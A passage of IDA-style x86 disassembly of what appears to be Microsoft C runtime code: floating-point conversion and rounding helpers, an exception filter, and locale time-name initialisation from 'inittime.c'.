xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
sub ecx, 3FFFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_10], eax
cmp [ebp+var_4], 0FFFFC001h
jnz short loc_42A100
mov [ebp+var_8], 0
lea ecx, [ebp+var_18]
push ecx
call sub_429F40
add esp, 4
test eax, eax
jz short loc_42A0E8
mov [ebp+var_1C], 0
jmp short loc_42A0FB
; ---------------------------------------------------------------------------
loc_42A0E8: ; CODE XREF: sub_42A070+6Dj
lea edx, [ebp+var_18]
push edx
call sub_429F10
add esp, 4
mov [ebp+var_1C], 2
loc_42A0FB: ; CODE XREF: sub_42A070+76j
jmp loc_42A24C
; ---------------------------------------------------------------------------
loc_42A100: ; CODE XREF: sub_42A070+56j
lea eax, [ebp+var_18]
push eax
lea ecx, [ebp+var_30]
push ecx
call sub_429EC0
add esp, 8
mov edx, [ebp+arg_8]
mov eax, [edx+8]
push eax
lea ecx, [ebp+var_18]
push ecx
call sub_429DE0
add esp, 8
test eax, eax
jz short loc_42A130
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42A130: ; CODE XREF: sub_42A070+B5j
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov edx, [eax+4]
sub edx, [ecx+8]
cmp [ebp+var_4], edx
jge short loc_42A160
lea eax, [ebp+var_18]
push eax
call sub_429F10
add esp, 4
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp loc_42A24C
; ---------------------------------------------------------------------------
loc_42A160: ; CODE XREF: sub_42A070+CFj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jg short loc_42A1D0
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, [ebp+var_4]
mov [ebp+var_34], ecx
lea edx, [ebp+var_30]
push edx
lea eax, [ebp+var_18]
push eax
call sub_429EC0
add esp, 8
mov ecx, [ebp+var_34]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_429F80
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_429DE0
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+0Ch]
add ecx, 1
push ecx
lea edx, [ebp+var_18]
push edx
call sub_429F80
add esp, 8
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp short loc_42A24C
; ---------------------------------------------------------------------------
loc_42A1D0: ; CODE XREF: sub_42A070+F9j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jl short loc_42A21B
lea edx, [ebp+var_18]
push edx
call sub_429F10
add esp, 4
mov eax, [ebp+var_18]
or eax, 80000000h
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_429F80
add esp, 8
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_8]
add edx, [eax+14h]
mov [ebp+var_8], edx
mov [ebp+var_1C], 1
jmp short loc_42A24C
; ---------------------------------------------------------------------------
loc_42A21B: ; CODE XREF: sub_42A070+168j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+14h]
mov [ebp+var_8], edx
mov eax, [ebp+var_18]
and eax, 7FFFFFFFh
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_429F80
add esp, 8
mov [ebp+var_1C], 0
loc_42A24C: ; CODE XREF: sub_42A070:loc_42A0FBj
; sub_42A070+EBj ...
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
add edx, 1
mov eax, 20h
sub eax, edx
mov [ebp+var_C], eax
mov edx, [ebp+var_8]
mov ecx, [ebp+var_C]
shl edx, cl
mov eax, [ebp+var_18]
or eax, edx
mov ecx, [ebp+var_20]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or eax, ecx
mov [ebp+var_24], eax
mov edx, [ebp+arg_8]
cmp dword ptr [edx+10h], 40h
jnz short loc_42A29A
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_24]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_14]
mov [edx], eax
jmp short loc_42A2AB
; ---------------------------------------------------------------------------
loc_42A29A: ; CODE XREF: sub_42A070+215j
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+10h], 20h
jnz short loc_42A2AB
mov edx, [ebp+arg_4]
mov eax, [ebp+var_24]
mov [edx], eax
loc_42A2AB: ; CODE XREF: sub_42A070+228j
; sub_42A070+231j
mov eax, [ebp+var_1C]
mov esp, ebp
pop ebp
retn
sub_42A070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A2C0 proc near ; CODE XREF: sub_42A3C0+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_444600
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A070
add esp, 0Ch
pop ebp
retn
sub_42A2C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A2E0 proc near ; CODE XREF: sub_42A440+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_444618
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A070
add esp, 0Ch
pop ebp
retn
sub_42A2E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A300 proc near ; CODE XREF: ___:0042A42Ap
; ___:0042DFAFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
mov word ptr [ebp+var_4], cx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_10], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_8], eax
push 40h
lea ecx, [ebp+var_10]
push ecx
call sub_429DE0
add esp, 8
test eax, eax
jz short loc_42A377
mov [ebp+var_10], 80000000h
mov dx, word ptr [ebp+var_4]
add dx, 1
mov word ptr [ebp+var_4], dx
loc_42A377: ; CODE XREF: sub_42A300+62j
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp eax, 7FFFh
jnz short loc_42A38D
mov [ebp+var_14], 1
loc_42A38D: ; CODE XREF: sub_42A300+84j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_4]
and eax, 0FFFFh
or edx, eax
mov ecx, [ebp+arg_4]
mov [ecx+8], dx
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_42A300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A3C0 proc near ; CODE XREF: sub_423670+14p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_42D450
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42A2C0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_42A3C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
lea ecx, [ebp-10h]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_42D450
add esp, 1Ch
mov eax, [ebp+8]
push eax
lea ecx, [ebp-0Ch]
push ecx
call sub_42A300
add esp, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A440 proc near ; CODE XREF: sub_423670+34p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_42D450
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42A2E0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_42A440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A480 proc near ; CODE XREF: sub_4236C0+4Dp
; sub_4238B0+45p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
mov [ebp+var_8], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 30h
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42A4A4: ; CODE XREF: sub_42A480+69j
cmp [ebp+arg_4], 0
jle short loc_42A4EB
mov edx, [ebp+var_8]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42A4C8
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
jmp short loc_42A4CF
; ---------------------------------------------------------------------------
loc_42A4C8: ; CODE XREF: sub_42A480+32j
mov [ebp+var_C], 30h
loc_42A4CF: ; CODE XREF: sub_42A480+46j
mov ecx, [ebp+var_4]
mov dl, byte ptr [ebp+var_C]
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_42A4A4
; ---------------------------------------------------------------------------
loc_42A4EB: ; CODE XREF: sub_42A480+28j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
cmp [ebp+arg_4], 0
jl short loc_42A534
mov eax, [ebp+var_8]
movsx ecx, byte ptr [eax]
cmp ecx, 35h
jl short loc_42A534
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42A50B: ; CODE XREF: sub_42A480+A5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_42A527
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_42A50B
; ---------------------------------------------------------------------------
loc_42A527: ; CODE XREF: sub_42A480+94j
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 1
mov eax, [ebp+var_4]
mov [eax], dl
loc_42A534: ; CODE XREF: sub_42A480+75j
; sub_42A480+80j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 31h
jnz short loc_42A550
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx+4], ecx
jmp short loc_42A576
; ---------------------------------------------------------------------------
loc_42A550: ; CODE XREF: sub_42A480+BDj
mov eax, [ebp+arg_0]
add eax, 1
push eax
call sub_414BE0
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4197C0
add esp, 0Ch
loc_42A576: ; CODE XREF: sub_42A480+CEj
mov esp, ebp
pop ebp
retn
sub_42A480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A580 proc near ; CODE XREF: sub_4236C0+1Ep
; sub_4238B0+1Ep ...
var_28 = word ptr -28h
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42A600
add esp, 8
lea edx, [ebp+var_28]
push edx
push 0
push 11h
sub esp, 0Ch
mov eax, esp
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_8]
mov [eax+4], edx
mov cx, [ebp+var_4]
mov [eax+8], cx
call sub_42DFD0
add esp, 18h
mov edx, [ebp+arg_8]
mov [edx+8], eax
movsx eax, [ebp+var_26]
mov ecx, [ebp+arg_8]
mov [ecx], eax
movsx edx, [ebp+var_28]
mov eax, [ebp+arg_8]
mov [eax+4], edx
lea ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_4184C0
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_42A580 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A600 proc near ; CODE XREF: sub_42A580+Ep
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_C], 80000000h
mov word ptr [ebp+var_4], 0
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+6]
and ecx, 7FF0h
sar ecx, 4
mov word ptr [ebp+var_14], cx
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+6]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
and edx, 0FFFFFh
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jz short loc_42A677
cmp [ebp+var_1C], 7FFh
jz short loc_42A66F
jmp short loc_42A6BA
; ---------------------------------------------------------------------------
loc_42A66F: ; CODE XREF: sub_42A600+6Bj
mov word ptr [ebp+var_4], 7FFFh
jmp short loc_42A6D5
; ---------------------------------------------------------------------------
loc_42A677: ; CODE XREF: sub_42A600+62j
cmp [ebp+var_8], 0
jnz short loc_42A6A4
cmp [ebp+var_10], 0
jnz short loc_42A6A4
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov word ptr [edx+8], 0
jmp loc_42A75E
; ---------------------------------------------------------------------------
loc_42A6A4: ; CODE XREF: sub_42A600+7Bj
; sub_42A600+81j
movsx eax, word ptr [ebp+var_14]
add eax, 3C01h
mov word ptr [ebp+var_4], ax
mov [ebp+var_C], 0
jmp short loc_42A6D5
; ---------------------------------------------------------------------------
loc_42A6BA: ; CODE XREF: sub_42A600+6Dj
mov cx, word ptr [ebp+var_14]
sub cx, 3FFh
mov word ptr [ebp+var_14], cx
movsx edx, word ptr [ebp+var_14]
add edx, 3FFFh
mov word ptr [ebp+var_4], dx
loc_42A6D5: ; CODE XREF: sub_42A600+75j
; sub_42A600+B8j
mov eax, [ebp+var_8]
shl eax, 0Bh
mov ecx, [ebp+var_C]
or ecx, eax
mov edx, [ebp+var_10]
shr edx, 15h
or ecx, edx
mov eax, [ebp+arg_0]
mov [eax+4], ecx
mov ecx, [ebp+var_10]
shl ecx, 0Bh
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_42A6F9: ; CODE XREF: sub_42A600+142j
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 80000000h
test ecx, ecx
jnz short loc_42A744
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 80000000h
neg edx
sbb edx, edx
neg edx
or eax, edx
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
shl eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov dx, word ptr [ebp+var_4]
sub dx, 1
mov word ptr [ebp+var_4], dx
jmp short loc_42A6F9
; ---------------------------------------------------------------------------
loc_42A744: ; CODE XREF: sub_42A600+107j
mov eax, [ebp+var_18]
and eax, 0FFFFh
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+8], ax
loc_42A75E: ; CODE XREF: sub_42A600+9Fj
mov esp, ebp
pop ebp
retn
sub_42A600 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
call sub_41A9A0
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A780 proc near ; DATA XREF: sub_42A7E0+3o
; ___:00444260o ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_42A7AE
mov edx, [ebp+arg_0]
mov eax, [edx]
cmp dword ptr [eax+10h], 3
jnz short loc_42A7AE
mov ecx, [ebp+arg_0]
mov edx, [ecx]
cmp dword ptr [edx+14h], 19930520h
jnz short loc_42A7AE
call sub_424890
loc_42A7AE: ; CODE XREF: sub_42A780+Ej
; sub_42A780+19j ...
cmp dword_4DB3C4, 0
jz short loc_42A7D5
mov eax, dword_4DB3C4
push eax
call sub_42A880
add esp, 4
test eax, eax
jz short loc_42A7D5
mov ecx, [ebp+arg_0]
push ecx
call dword_4DB3C4
jmp short loc_42A7D7
; ---------------------------------------------------------------------------
loc_42A7D5: ; CODE XREF: sub_42A780+35j
; sub_42A780+47j
xor eax, eax
loc_42A7D7: ; CODE XREF: sub_42A780+53j
pop ebp
retn 4
sub_42A780 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A7E0 proc near ; DATA XREF: ___:00436024o
push ebp
mov ebp, esp
push offset sub_42A780
nop
call near ptr 2641E8Fh
mov dword_4DB3C4, eax
pop ebp
retn
sub_42A7E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A800 proc near ; DATA XREF: ___:0043603Co
push ebp
mov ebp, esp
mov eax, dword_4DB3C4
push eax
call near ptr 2641E8Fh
nop
pop ebp
retn
sub_42A800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A820 proc near ; CODE XREF: sub_423CD0+9Ep
; sub_4244E0+77p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
nop
call near ptr 2821B33h
test eax, eax
jz short loc_42A844
mov [ebp+var_4], 0
loc_42A844: ; CODE XREF: sub_42A820+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42A820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A850 proc near ; CODE XREF: sub_4244E0+89p
; sub_4244E0+EDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
nop
call near ptr 28215EBh
test eax, eax
jz short loc_42A874
mov [ebp+var_4], 0
loc_42A874: ; CODE XREF: sub_42A850+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42A850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A880 proc near ; CODE XREF: sub_4244E0+1E2p
; sub_42A780+3Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 2641DF9h
test eax, eax
jz short loc_42A8A0
mov [ebp+var_4], 0
loc_42A8A0: ; CODE XREF: sub_42A880+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42A880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A8B0 proc near ; CODE XREF: sub_4248FEp
push ebp
mov ebp, esp
push 0Ah
call sub_426B80
add esp, 4
push 16h
call sub_427350
add esp, 4
push 3
call sub_417960
pop ebp
retn
sub_42A8B0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A8D0 proc near ; DATA XREF: ___:004443C4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4DB1C4, 0
jz loc_42A971
push 48h
push offset aInittime_c ; "inittime.c"
push 2
push 0ACh
push 1
call sub_4151E0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42A90C
mov eax, 1
jmp loc_42A9A7
; ---------------------------------------------------------------------------
loc_42A90C: ; CODE XREF: sub_42A8D0+30j
mov eax, [ebp+var_4]
push eax
call sub_42A9B0
add esp, 4
test eax, eax
jz short loc_42A93D
mov ecx, [ebp+var_4]
push ecx
call sub_42AF40
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_415860
add esp, 8
mov eax, 1
jmp short loc_42A9A7
; ---------------------------------------------------------------------------
loc_42A93D: ; CODE XREF: sub_42A8D0+4Aj
mov eax, [ebp+var_4]
mov off_444DA8, eax
mov ecx, dword_4DB3C8
push ecx
call sub_42AF40
add esp, 4
push 2
mov edx, dword_4DB3C8
push edx
call sub_415860
add esp, 8
mov eax, [ebp+var_4]
mov dword_4DB3C8, eax
xor eax, eax
jmp short loc_42A9A7
; ---------------------------------------------------------------------------
loc_42A971: ; CODE XREF: sub_42A8D0+Bj
mov off_444DA8, offset off_444DB0
mov ecx, dword_4DB3C8
push ecx
call sub_42AF40
add esp, 4
push 2
mov edx, dword_4DB3C8
push edx
call sub_415860
add esp, 8
mov dword_4DB3C8, 0
xor eax, eax
loc_42A9A7: ; CODE XREF: sub_42A8D0+37j
; sub_42A8D0+6Bj ...
mov esp, ebp
pop ebp
retn
sub_42A8D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A9B0 proc near ; CODE XREF: sub_42A8D0+40p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], 0
xor eax, eax
mov ax, word_4DB402
mov [ebp+var_4], eax
xor ecx, ecx
mov cx, word_4DB404
mov [ebp+var_8], ecx
cmp [ebp+arg_0], 0
jnz short loc_42A9E2
or eax, 0FFFFFFFFh
jmp loc_42AF3B
; ---------------------------------------------------------------------------
loc_42A9E2: ; CODE XREF: sub_42A9B0+28j
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 31h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8
push edx
push 32h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0Ch
push edx
push 33h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 34h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 35h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 36h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
push edx
push 37h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 20h
push edx
push 2Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 2Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 2Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 2Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 30h
push edx
push 2Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 34h
push edx
push 2Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 30h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 38h
push edx
push 44h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 3Ch
push edx
push 45h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
push 46h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 44h
push edx
push 47h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 48h
push edx
push 48h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 4Ch
push edx
push 49h
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 50h
push edx
push 4Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 54h
push edx
push 4Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_42F960
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 58h
push edx
push 4Ch
mov eax, [ebp+var_4]
push eax
